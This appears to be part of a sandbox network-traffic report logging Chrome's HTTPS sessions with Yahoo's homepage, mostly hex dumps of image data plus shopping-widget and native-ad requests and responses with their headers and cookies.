2024-04-27 22:41:55 UTC	1300	IN	Data Raw: a5 3d ff 00 7e ad 5b e2 2d 7d 6b 57 3a d3 d3 a0 58 21 19 18 f9 1d ba 8c ba 53 52 89 48 88 2b 14 1f 8c 01 df ab 16 7d 10 95 bc 95 55 85 76 8f cf a9 d3 48 e8 5d 5f 6b 2f e3 6c 8e 7a e7 d2 e8 a5 33 60 6c d8 a7 9f 71 9e b2 93 ea 5a ca ab 27 96 78 c0 c0 e4 e7 00 9f 6f d7 a0 e9 26 d2 8a e5 79 19 c7 3d 8f 5a e4 d4 4a c9 63 0d b9 58 16 1d c8 39 ea ba 01 55 4c f2 ab b4 4c 8b 82 41 c9 fe ff 00 97 d7 a9 40 8b 88 66 a6 3b c4 78 1f e1 1d 65 c9 50 9a 74 59 17 cb 00 85 c9 38 52 30 3a d7 2b 01 ae c5 97 6d 45 22 00 c4 fa b1 d6 b1 51 a9 6f b2 c1 23 cb 29 2b 1b b6 5d 4b 1e 3f 43 db a0 be 69 ad 48 6e 11 34 13 bb 4b 22 1d a1 88 0a 1b f2 c9 f6 e8 0a c8 e8 d9 97 cb 1b 86 7f c8 f4 03 ea a3 8e 9d a1 78 95 55 48 f2 d7 9e 00 f6 07 e0 7c 7e 5d 73 44 1a 86 8a 28 9a 9d e9 ff 00 94 fc Data Ascii: =~[-}kW:X!SRH+}UvH]_k/lz3`lqZ'xo&y=ZJcX9ULLA@f;xePtY8R0:+mE"Qo#)+]K?CiHn4K"xUH\|~]sD(
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 0f d7 aa e6 a9 5c e2 6f 26 66 45 57 25 86 55 b3 8c 63 9f d7 8e b5 0a 06 5a 29 29 5e 9d 4e c6 5e 70 54 60 75 70 55 aa e5 30 cc c1 97 0c 78 23 6e ec 75 33 44 8b 45 fa 5b 4d 5c 62 67 5f 21 a6 52 84 b6 36 f3 9f f4 ff 00 21 d5 0c 9b 26 a7 8a e1 18 8a 69 37 4e 7e 78 07 e8 0f ce 33 8f cb 1d 01 99 8c 55 48 63 1e 5e d6 fc 60 20 19 cf 7e df 3d 61 40 aa 16 48 49 a7 94 65 9f 85 73 d9 c7 c1 fa f4 11 8d 3c 40 1f 29 7b 8e 18 9c 96 f9 07 a0 e5 48 1a d2 fb c4 85 a9 f7 13 1c 64 fa a3 60 41 ca 64 ff 00 fe bd ba 49 a0 84 93 d2 5c 1b cc 92 50 a4 0e e1 b6 86 cf 7c 0e e0 67 3c 1e 46 79 e8 39 0a 3d d2 3b 09 30 a5 70 ab 8e d9 19 ef d3 c1 de 96 dd 33 bb 19 21 c2 6d db 86 00 f7 fd 7a 02 94 b4 55 74 0c 9e 4a 03 9f c4 df 18 c7 b7 40 61 01 62 1c 46 b1 ab f6 c6 3f 5f f3 ea 22 0c 9b a4 Data Ascii: \o&fEW%UcZ))^N^pT`upU0x#nu3DE[M\bg_!R6!&i7N~x3UHc^` ~=a@HIes<@){Hd`AdI\P\|g<Fy9=;0p3!mzUtJ@abF?_"
2024-04-27 22:41:55 UTC	73	IN	Data Raw: 17 d7 68 b1 2e 4c 93 04 55 c0 24 fe 7d 6d 3d 77 4f b9 f9 85 15 66 aa 73 dc ff 00 c3 41 d0 47 ac 4a b8 62 f3 e4 a7 48 e2 5f fd c8 f0 c0 f1 fd 44 12 7f 53 d1 d1 5f af 94 86 6e 49 24 f4 15 8b 83 32 b1 8d b3 b8 92 48 cf 6e Data Ascii: h.LU$}m=wOfsAGJbH_DS_nI$2Hn
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: b4 c0 55 63 e4 39 51 eb fe 9e a0 a9 d6 cd 33 54 3b ca 1b d4 77 60 30 18 1e fd 5e 51 5c bb ef 85 fc c4 0a 19 9b 05 98 7e e3 ad c9 a5 07 aa 9f cd 70 dd bf fc 67 fd 3a 80 ae 9f be 25 1d 4c 34 ef 39 21 78 ce 4e 5d 3e 0f 38 e3 db 18 e8 1b b6 1b 84 55 70 ac b2 4e 1e 52 48 43 8e 64 03 e7 fe 61 ef f4 20 f5 84 fd 08 d4 ac 75 71 98 e4 88 fd 0f c7 4c 68 34 42 f1 a8 12 21 50 72 11 fb f3 83 ff 00 9f a7 56 08 8c 0e e2 95 09 95 c3 00 78 19 f7 f6 eb 48 8e 90 a4 53 89 aa 25 31 4c fe 98 e4 27 29 26 7b a4 83 b1 07 e7 b8 3d 62 c0 5e 82 aa 39 92 41 4d 98 ea 22 c0 9e 06 3e a4 38 cf ea bc f0 c3 83 fd ba 28 9d 05 74 4d 99 3d f1 b7 13 1e 01 3d bf d0 f4 04 44 94 a6 30 2a 62 2a fc e4 e7 83 d4 4f 1d 67 ab a3 8a 9a 0d 9e 60 0c 48 c0 00 7c 7d 7a aa f1 f7 98 a6 2a f2 c2 57 23 86 04 9c Data Ascii: Uc9Q3T;w`0^Q\~pg:%L49!xN]>8UpNRHCda uqLh4B!PrVxHS%1L')&{=b^9AM">8(tM==D0bOg`H\|}z*W#
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 72 15 41 dd eb 08 bc 91 dc 1f a7 41 65 93 40 eb 95 b7 e9 7b a4 3a 4b 4e 5a de e2 af fc 51 c5 bc 4a d0 ba b6 11 02 90 70 18 64 f0 32 3e 07 b8 49 d5 5f 63 7d 27 ad b5 75 97 58 b5 63 d8 6e a9 4e 0d c2 4b 43 08 d5 a6 cb 12 f1 ab 83 9d c3 00 83 f8 46 78 3c 75 2f 83 44 5a 2d b0 69 cb 2d 05 96 0a 9a 9a a4 a4 41 08 9a a6 5d f2 38 1e ec 71 c9 eb 9e 6d 2a 51 9d bd c6 78 20 0f 7c fc f5 5d 1f 15 d5 33 b5 8b 64 10 73 f3 9c 67 f5 e3 a0 f9 46 7c f9 d9 47 e2 70 30 3f 22 7a ae 75 fd a8 6f d3 69 da 06 9d aa 68 a8 e0 47 f2 da aa aa a1 22 88 c9 ef 86 72 06 73 91 8c fb 0e 83 ed 82 bf 50 ba a1 ae a2 8a aa 8a 41 95 92 19 16 44 91 7d 8a 95 24 1c 8f 6f f3 ea fe 40 2b d3 43 47 55 30 66 21 46 19 01 f7 52 32 3f e9 f9 83 d4 8a ab 56 d4 79 8c 4e 41 61 ee 00 1f eb d3 44 07 dd b0 ee 3f Data Ascii: rAAe@{:KNZQJpd2>I_c}'uXcnNKCFx<u/DZ-i-A]8qm*Qx \|]3dsgF\|Gp0?"zuoihG"rsPAD}$o@+CGU0f!FR2?VyNAaD?
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 09 19 fc 43 1c f2 08 e3 3d ba 0b a5 be a6 92 f5 32 9a ab ac 54 74 47 2e 29 7c c0 92 ba 93 9d d2 9e ea 0f f8 41 fc cf b7 41 66 a5 8d 16 13 15 22 c4 55 48 c0 88 82 aa 3d 80 c1 23 1d fa 96 7f 47 56 8e 4d cc 9b 46 71 b4 73 df b1 ed fa 75 9a 3c cf 57 15 25 2c f5 d5 34 e3 65 3c 6f 29 28 85 8e d4 19 6e 3f 2e 9b 83 2a 54 78 c9 a4 fc 3c a0 bd 5d 2a e9 6e 52 52 5f 35 1d ce e1 0a d0 50 16 c2 3c e4 06 90 8e 73 e9 f7 ea 36 2f 6b fb 43 e9 cb 66 a6 a3 d3 33 e9 dd 47 e7 54 c0 b5 06 54 a2 2c 91 a3 00 57 20 12 49 20 f6 03 8e 81 af f6 4d be d2 d0 dc f5 87 87 b2 db 2a 4d 5d 35 ee ba e2 d7 06 01 81 a7 76 8f ca 47 3d c3 15 3e 9e 30 42 13 df 24 cb e2 c3 cb 51 ea 74 86 33 69 b6 54 ae 4f 13 ca 0e 31 ff 00 28 fa f5 ce 8a 7d 4d 43 6c d9 04 99 dd 9c 94 1b b1 d6 65 d6 b9 7d 82 28 43 Data Ascii: C=2TtG.)\|AAf"UH=#GVMFqsu<W%,4e<o)(n?.Tx<]nRR_5P<s6/kCf3GTT,W I M*M]5vG=>0B$Qt3iTO1(}MCle}(C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	49893	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:55 UTC	1262	OUT	POST /fp_ms/_rcv/remote?ctrl=ShoppingContent&m_id=react-wafer-shopping&m_mode=json&xhrPathPrefix=%2Ffp_ms%2F_rcv%2Fremote HTTP/1.1 Host: www.yahoo.com Connection: keep-alive Content-Length: 458 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" content-type: application/json x-webp: 1 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A
2024-04-27 22:41:55 UTC	458	OUT	Data Raw: 7b 22 63 6f 6e 66 69 67 22 3a 7b 22 63 70 6f 73 22 3a 35 2c 22 65 6e 61 62 6c 65 55 73 65 72 49 6e 74 65 6e 74 22 3a 66 61 6c 73 65 2c 22 68 69 64 64 65 6e 43 6f 75 6e 74 22 3a 32 2c 22 6c 69 73 74 49 64 22 3a 22 31 34 32 63 33 31 32 31 2d 66 31 32 35 2d 34 37 37 33 2d 61 61 66 33 2d 33 62 63 32 61 39 63 38 32 36 66 31 22 2c 22 6d 6f 64 75 6c 65 54 69 74 6c 65 22 3a 22 42 75 79 69 6e 67 20 41 64 76 69 63 65 22 2c 22 6f 70 65 6e 4c 69 6e 6b 73 49 6e 4e 65 77 54 61 62 22 3a 66 61 6c 73 65 2c 22 70 61 67 65 43 6f 6e 74 65 78 74 22 3a 22 22 2c 22 70 72 6f 64 75 63 74 4c 69 73 74 49 64 22 3a 22 36 62 65 34 34 33 31 32 2d 61 33 62 63 2d 34 63 36 33 2d 38 39 31 63 2d 64 30 36 65 34 35 35 32 38 35 66 63 22 2c 22 72 65 6e 64 65 72 53 68 6f 70 70 69 6e 67 50 72 6f Data Ascii: {"config":{"cpos":5,"enableUserIntent":false,"hiddenCount":2,"listId":"142c3121-f125-4773-aaf3-3bc2a9c826f1","moduleTitle":"Buying Advice","openLinksInNewTab":false,"pageContext":"","productListId":"6be44312-a3bc-4c63-891c-d06e455285fc","renderShoppingPro
2024-04-27 22:41:55 UTC	1258	IN	HTTP/1.1 200 OK referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000 content-type: application/json; charset=utf-8 status-code: 200 x-app-version: 1.0.37150 x-applet-version: 1.0.37150 x-applet-id: react-wafer-shopping vary: Accept-Encoding date: Sat, 27 Apr 2024 22:41:55 GMT x-envoy-upstream-service-time: 53 server: ATS x-envoy-decorator-operation: tdv2-app-fp--mtls-production-bf1.frontpage-k8s-frontend.svc.yahoo.local:4080/* Age: 0 Content-Security-Policy: sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=51h8h4dj2qvpj&partner=; frame-ancestors 'self' https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com htts://.verizonmedia.com https://.publishing.oath.com Transfer-Encoding: chunked Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 32 36 36 33 0d 0a 7b 22 61 73 73 65 74 73 22 3a 7b 22 63 73 73 22 3a 5b 7b 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 74 6f 70 22 2c 22 76 61 6c 75 65 22 3a 22 2f 61 61 71 2f 63 70 72 6f 70 73 2f 63 6f 6c 6f 72 73 5f 31 2e 31 2e 32 37 2e 6d 69 6e 2e 63 73 73 22 2c 22 6e 61 6d 65 22 3a 22 63 75 73 74 6f 6d 2d 70 72 6f 70 65 72 74 69 65 73 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 31 2e 31 2e 32 37 22 7d 2c 7b 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 74 6f 70 22 2c 22 76 61 6c 75 65 22 3a 22 2f 61 61 71 2f 66 70 2f 63 73 73 2f 72 65 61 63 74 2d 77 61 66 65 72 2d 73 68 6f 70 70 69 6e 67 2e 53 68 6f 70 70 69 6e 67 43 6f 6e 74 65 6e 74 2e 61 74 6f 6d 69 63 2e 6c 74 72 2e 34 35 31 63 34 30 62 33 61 30 33 32 32 62 34 38 64 62 63 35 38 66 62 66 30 64 39 38 65 65 39 36 2e 6d 69 Data Ascii: 2663{"assets":{"css":[{"location":"top","value":"/aaq/cprops/colors_1.1.27.min.css","name":"custom-properties","version":"1.1.27"},{"location":"top","value":"/aaq/fp/css/react-wafer-shopping.ShoppingContent.atomic.ltr.451c40b3a0322b48dbc58fbf0d98ee96.mi
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 74 68 3a 30 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 6f 74 74 6f 6d 5c 22 20 68 65 69 67 68 74 3d 5c 22 32 31 5c 22 20 76 69 65 77 42 6f 78 3d 5c 22 30 20 30 20 32 34 20 32 34 5c 22 20 64 61 74 61 2d 69 63 6f 6e 3d 5c 22 73 68 6f 70 70 69 6e 67 5c 22 3e 3c 70 61 74 68 20 64 3d 5c 22 4d 31 32 2e 30 32 32 20 31 63 32 2e 37 36 32 20 30 20 35 20 32 2e 32 33 38 20 35 20 35 4c 31 37 20 37 68 35 63 31 20 30 20 31 2e 30 32 20 31 2e 31 32 2e 39 39 38 20 31 2e 32 31 37 6c 2d 32 2e 37 34 34 20 31 32 2e 39 38 38 63 2d 2e 30 39 37 2e 34 36 33 2d 2e 35 30 35 2e 37 39 35 2d 2e 39 37 38 2e 37 39 35 48 34 2e 37 38 36 63 2d 2e 34 37 33 20 30 2d 2e 38 38 2d 2e 33 33 32 2d 2e 39 37 38 2d 2e 37 39 35 4c 31 2e 30 32 34 20 38 2e 32 31 37 43 2e 38 38 34 20 37 2e 35 39 Data Ascii: th:0;vertical-align:bottom\" height=\"21\" viewBox=\"0 0 24 24\" data-icon=\"shopping\"><path d=\"M12.022 1c2.762 0 5 2.238 5 5L17 7h5c1 0 1.02 1.12.998 1.217l-2.744 12.988c-.097.463-.505.795-.978.795H4.786c-.473 0-.88-.332-.978-.795L1.024 8.217C.884 7.59
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 64 35 39 2d 63 30 66 39 2d 34 39 38 66 2d 62 39 64 33 2d 39 62 37 64 35 38 34 39 37 61 34 38 5c 22 20 64 61 74 61 2d 79 6c 6b 3d 5c 22 67 3a 38 65 66 38 62 64 35 39 2d 63 30 66 39 2d 34 39 38 66 2d 62 39 64 33 2d 39 62 37 64 35 38 34 39 37 61 34 38 3b 73 6c 6b 3a 41 6d 61 7a 6f 6e 20 74 6f 74 61 6c 6c 79 20 73 6c 61 73 68 65 73 20 70 72 69 63 65 73 20 6f 6e 20 4d 6f 74 68 65 72 26 23 78 32 37 3b 73 20 44 61 79 20 67 69 66 74 73 2c 20 74 65 63 68 20 67 61 64 67 65 74 73 2c 20 67 61 72 64 65 6e 69 6e 67 20 65 73 73 65 6e 74 69 61 6c 73 20 61 6e 64 20 6d 6f 72 65 20 e2 80 94 c2 a0 73 61 76 65 20 75 70 20 74 6f 20 38 30 25 3b 69 74 63 3a 30 3b 73 65 63 3a 73 74 72 6d 3b 73 75 62 73 65 63 3a 72 65 61 63 74 77 61 66 65 72 73 68 6f 70 70 69 6e 67 3b 65 6c 6d 3a Data Ascii: d59-c0f9-498f-b9d3-9b7d58497a48\" data-ylk=\"g:8ef8bd59-c0f9-498f-b9d3-9b7d58497a48;slk:Amazon totally slashes prices on Mother's Day gifts, tech gadgets, gardening essentials and more save up to 80%;itc:0;sec:strm;subsec:reactwafershopping;elm:
2024-04-27 22:41:55 UTC	949	IN	Data Raw: 65 43 6c 61 6d 70 28 32 2c 34 37 70 78 29 5c 22 3e 41 6d 61 7a 6f 6e 20 74 6f 74 61 6c 6c 79 20 73 6c 61 73 68 65 73 20 70 72 69 63 65 73 20 6f 6e 20 4d 6f 74 68 65 72 26 23 78 32 37 3b 73 20 44 61 79 20 67 69 66 74 73 2c 20 74 65 63 68 20 67 61 64 67 65 74 73 2c 20 67 61 72 64 65 6e 69 6e 67 20 65 73 73 65 6e 74 69 61 6c 73 20 61 6e 64 20 6d 6f 72 65 20 e2 80 94 c2 a0 73 61 76 65 20 75 70 20 74 6f 20 38 30 25 3c 2f 68 31 3e 3c 70 20 63 6c 61 73 73 3d 5c 22 44 28 69 62 29 20 43 28 2d 2d 62 61 74 63 61 76 65 29 20 4c 68 28 31 2e 34 33 29 20 46 7a 28 31 34 70 78 29 20 4d 62 28 31 35 70 78 29 20 46 7a 28 31 34 70 78 29 20 4c 69 6e 65 43 6c 61 6d 70 28 33 2c 36 32 70 78 29 5c 22 3e 53 6f 6d 65 20 6f 66 20 6f 75 72 20 66 61 76 6f 72 69 74 65 20 70 69 63 6b 73 Data Ascii: eClamp(2,47px)\">Amazon totally slashes prices on Mother's Day gifts, tech gadgets, gardening essentials and more save up to 80%</h1><p class=\"D(ib) C(--batcave) Lh(1.43) Fz(14px) Mb(15px) Fz(14px) LineClamp(3,62px)\">Some of our favorite picks
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 35 61 36 62 62 38 32 62 31 5c 22 20 64 61 74 61 2d 77 66 2d 63 61 61 73 2d 70 72 65 66 65 74 63 68 3d 5c 22 31 5c 22 20 64 61 74 61 2d 77 66 2d 63 61 61 73 2d 75 75 69 64 3d 5c 22 34 34 66 61 31 39 63 34 2d 32 31 36 61 2d 34 62 35 65 2d 39 34 31 66 2d 65 37 34 35 61 36 62 62 38 32 62 31 5c 22 3e 3c 69 6d 67 20 63 6c 61 73 73 3d 5c 22 42 64 72 73 28 38 70 78 29 20 42 64 73 28 73 29 20 42 64 77 28 31 70 78 29 20 42 64 63 28 2d 2d 64 69 72 74 79 2d 73 65 61 67 75 6c 6c 29 20 57 28 31 30 30 25 29 20 4d 61 68 28 39 33 70 78 29 5c 22 20 73 72 63 3d 5c 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 75 75 2f 61 70 69 2f 72 65 73 2f 31 2e 32 2f 55 70 2e 64 50 74 54 79 61 32 55 6f 46 76 67 77 69 36 76 7a 52 41 2d 2d 7e 42 2f 5a 6d 6b 39 63 33 52 79 61 Data Ascii: 5a6bb82b1\" data-wf-caas-prefetch=\"1\" data-wf-caas-uuid=\"44fa19c4-216a-4b5e-941f-e745a6bb82b1\"><img class=\"Bdrs(8px) Bds(s) Bdw(1px) Bdc(--dirty-seagull) W(100%) Mah(93px)\" src=\"https://s.yimg.com/uu/api/res/1.2/Up.dPtTya2UoFvgwi6vzRA--~B/Zmk9c3Rya
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 57 28 31 30 30 25 29 20 4d 61 68 28 39 33 70 78 29 5c 22 20 73 72 63 3d 5c 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 75 75 2f 61 70 69 2f 72 65 73 2f 31 2e 32 2f 50 31 67 49 75 6f 4e 72 6b 30 6a 77 39 47 62 30 65 74 61 74 32 77 2d 2d 7e 42 2f 5a 6d 6b 39 63 33 52 79 61 57 30 37 61 44 30 78 4e 54 59 37 64 7a 30 7a 4d 44 41 37 59 58 42 77 61 57 51 39 65 58 52 68 59 32 68 35 62 32 34 2d 2f 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 6f 73 2f 63 72 65 61 74 72 2d 75 70 6c 6f 61 64 65 64 2d 69 6d 61 67 65 73 2f 32 30 32 33 2d 30 37 2f 64 36 64 38 33 61 64 30 2d 31 62 37 36 2d 31 31 65 65 2d 62 37 64 64 2d 33 66 64 65 36 38 36 36 66 62 35 66 2e 63 66 2e 77 65 62 70 5c 22 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 4d 62 28 30 29 Data Ascii: W(100%) Mah(93px)\" src=\"https://s.yimg.com/uu/api/res/1.2/P1gIuoNrk0jw9Gb0etat2w--~B/Zmk9c3RyaW07aD0xNTY7dz0zMDA7YXBwaWQ9eXRhY2h5b24-/https://s.yimg.com/os/creatr-uploaded-images/2023-07/d6d83ad0-1b76-11ee-b7dd-3fde6866fb5f.cf.webp\"/><div class=\"Mb(0)
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 67 65 73 2f 32 30 32 34 2d 30 31 2f 62 65 64 64 38 31 36 30 2d 61 62 31 33 2d 31 31 65 65 2d 62 62 61 62 2d 37 36 63 39 30 37 63 36 34 64 38 64 2e 63 66 2e 77 65 62 70 5c 22 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 4d 62 28 30 29 20 4d 74 28 34 70 78 29 20 4c 69 6e 65 43 6c 61 6d 70 28 32 2c 35 32 70 78 29 20 46 7a 28 31 34 70 78 29 20 46 77 28 36 30 30 29 20 4c 68 28 31 2e 33 33 29 5c 22 3e 41 20 6d 69 6e 69 20 63 68 61 69 6e 20 73 61 77 20 63 61 6e 20 68 65 6c 70 20 77 69 74 68 20 73 70 72 69 6e 67 20 70 72 75 6e 69 6e 67 3c 2f 64 69 76 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 73 68 6f 70 70 69 6e 67 2d 70 72 6f 64 75 63 74 20 44 28 69 62 29 20 4d 65 6e 64 28 32 70 78 29 20 57 28 31 38 25 29 20 4d 69 77 28 37 30 70 78 Data Ascii: ges/2024-01/bedd8160-ab13-11ee-bbab-76c907c64d8d.cf.webp\"/><div class=\"Mb(0) Mt(4px) LineClamp(2,52px) Fz(14px) Fw(600) Lh(1.33)\">A mini chain saw can help with spring pruning</div></a></div><div class=\"shopping-product D(ib) Mend(2px) W(18%) Miw(70px
2024-04-27 22:41:55 UTC	1091	IN	Data Raw: 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 73 68 6f 70 70 69 6e 67 2d 70 72 6f 64 75 63 74 20 44 28 69 62 29 20 4d 65 6e 64 28 32 70 78 29 20 57 28 31 38 25 29 20 4d 69 77 28 37 30 70 78 29 20 50 6f 73 28 72 29 5c 22 3e 3c 61 20 63 6c 61 73 73 3d 5c 22 6a 73 2d 63 6f 6e 74 65 6e 74 2d 76 69 65 77 65 72 20 77 61 66 65 72 2d 63 61 61 73 20 72 61 70 69 64 6e 6f 66 6f 6c 6c 6f 77 20 54 64 28 6e 29 20 48 28 33 38 70 78 29 20 43 28 2d 2d 62 61 74 63 61 76 65 29 20 43 28 24 73 74 72 65 61 6d 42 72 61 6e 64 48 6f 76 65 72 43 6c 61 73 73 29 3a 68 5c 22 20 68 72 65 66 3d 5c 22 2f 6c 69 66 65 73 74 79 6c 65 2f 73 74 6f 72 79 2f 77 6f 72 74 68 2d 74 68 65 2d 64 65 74 6f 75 72 2d 70 6f 74 74 65 72 79 2d 76 69 6c 6c 61 67 65 73 2d 32 31 34 36 34 37 35 38 39 2e 68 74 6d Data Ascii: ><div class=\"shopping-product D(ib) Mend(2px) W(18%) Miw(70px) Pos(r)\"><a class=\"js-content-viewer wafer-caas rapidnofollow Td(n) H(38px) C(--batcave) C($streamBrandHoverClass):h\" href=\"/lifestyle/story/worth-the-detour-pottery-villages-214647589.htm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	49892	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:55 UTC	1253	OUT	POST /fp_ms/_rcv/remote?ctrl=NativeAd&m_id=react-wafer-nativeAd&rid=1sbetl5j2qvpa&m_mode=json&designtype=default HTTP/1.1 Host: www.yahoo.com Connection: keep-alive Content-Length: 663 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" content-type: application/json x-webp: 1 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A
2024-04-27 22:41:55 UTC	663	OUT	Data Raw: 7b 22 62 75 63 6b 65 74 22 3a 22 64 72 6f 70 5f 68 65 69 6d 64 61 6c 6c 5f 68 6f 6d 65 70 61 67 65 5f 63 6f 6e 74 72 6f 6c 5f 62 75 63 6b 65 74 2c 4d 69 6d 69 63 43 6f 6e 74 72 6f 6c 76 32 2d 63 6f 70 79 2c 68 6f 6d 65 70 61 67 65 5f 74 61 62 6f 6f 6c 61 5f 62 65 6e 6a 69 5f 31 5f 63 6f 6e 74 72 6f 6c 2c 73 65 61 6d 6c 65 73 73 22 2c 22 63 74 72 6c 22 3a 22 4e 61 74 69 76 65 41 64 22 2c 22 64 65 76 69 63 65 22 3a 22 64 65 73 6b 74 6f 70 22 2c 22 6c 61 6e 67 22 3a 22 65 6e 2d 55 53 22 2c 22 6d 5f 69 64 22 3a 22 72 65 61 63 74 2d 77 61 66 65 72 2d 6e 61 74 69 76 65 41 64 22 2c 22 6d 5f 6d 6f 64 65 22 3a 22 6a 73 6f 6e 22 2c 22 72 65 67 69 6f 6e 22 3a 22 55 53 22 2c 22 73 69 74 65 22 3a 22 66 70 22 2c 22 63 6f 6e 66 69 67 22 3a 7b 22 69 74 65 6d 73 22 3a 5b Data Ascii: {"bucket":"drop_heimdall_homepage_control_bucket,MimicControlv2-copy,homepage_taboola_benji_1_control,seamless","ctrl":"NativeAd","device":"desktop","lang":"en-US","m_id":"react-wafer-nativeAd","m_mode":"json","region":"US","site":"fp","config":{"items":[
2024-04-27 22:41:55 UTC	1259	IN	HTTP/1.1 200 OK referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000 content-type: application/json; charset=utf-8 status-code: 200 x-app-version: 1.0.37150 x-applet-version: 1.0.37150 x-applet-id: react-wafer-nativeAd vary: Accept-Encoding date: Sat, 27 Apr 2024 22:41:55 GMT x-envoy-upstream-service-time: 212 server: ATS x-envoy-decorator-operation: tdv2-app-fp--mtls-production-bf1.frontpage-k8s-frontend.svc.yahoo.local:4080/* Age: 0 Content-Security-Policy: sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=1o6cappj2qvpj&partner=; frame-ancestors 'self' https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com htts://.verizonmedia.com https://.publishing.oath.com Transfer-Encoding: chunked Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
